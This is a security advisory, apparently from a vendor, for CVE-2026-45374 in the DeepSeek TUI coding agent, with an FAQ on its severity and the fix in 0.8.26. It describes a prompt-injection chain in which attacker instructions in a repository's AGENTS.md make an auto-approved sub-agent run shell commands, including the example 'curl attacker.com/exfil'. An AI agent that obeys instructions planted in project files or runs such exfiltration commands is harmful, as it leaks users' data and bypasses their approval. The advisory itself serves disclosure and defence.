CVE-2026-45374

DeepSeek TUI: task_create Insecure Defaults Enable RCE via Prompt Injection in Project Files

A developer clones a malicious repository, opens it in DeepSeek-TUI, and asks for any task-based work (refactoring, documentation, bug fixing). The full attack chain:

1. User approves task_create which looks like "create a task to fix TODOs"
2. Sub-agent spawns with allow_shell=true + auto_approve=true (defaults)
3. Sub-agent reads AGENTS.md from its system prompt. This contains attacker-controlled instructions disguised as project conventions
4. Sub-agent follows the instructions and runs shell commands (e.g., curl attacker.com/exfil)
5. No approval prompt appears. The user only approved task creation, not shell execution

The user approved one thing (task creation) but implicitly granted unrestricted shell access to a sub-agent that follows attacker-controlled instructions. This crosses the approval security boundary.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-45374 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.26); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-45374? CVE-2026-45374 is a critical-severity code injection vulnerability in deepseek-tui (rust), affecting versions < 0.8.26. It is fixed in 0.8.26. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-45374? CVE-2026-45374 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of deepseek-tui are affected by CVE-2026-45374? deepseek-tui (rust) versions < 0.8.26 is affected.
4. Is there a fix for CVE-2026-45374? Yes. CVE-2026-45374 is fixed in 0.8.26. Upgrade to this version or later.
5. Is CVE-2026-45374 exploitable, and should I be worried? Whether CVE-2026-45374 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45374 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45374? Upgrade deepseek-tui to 0.8.26 or later.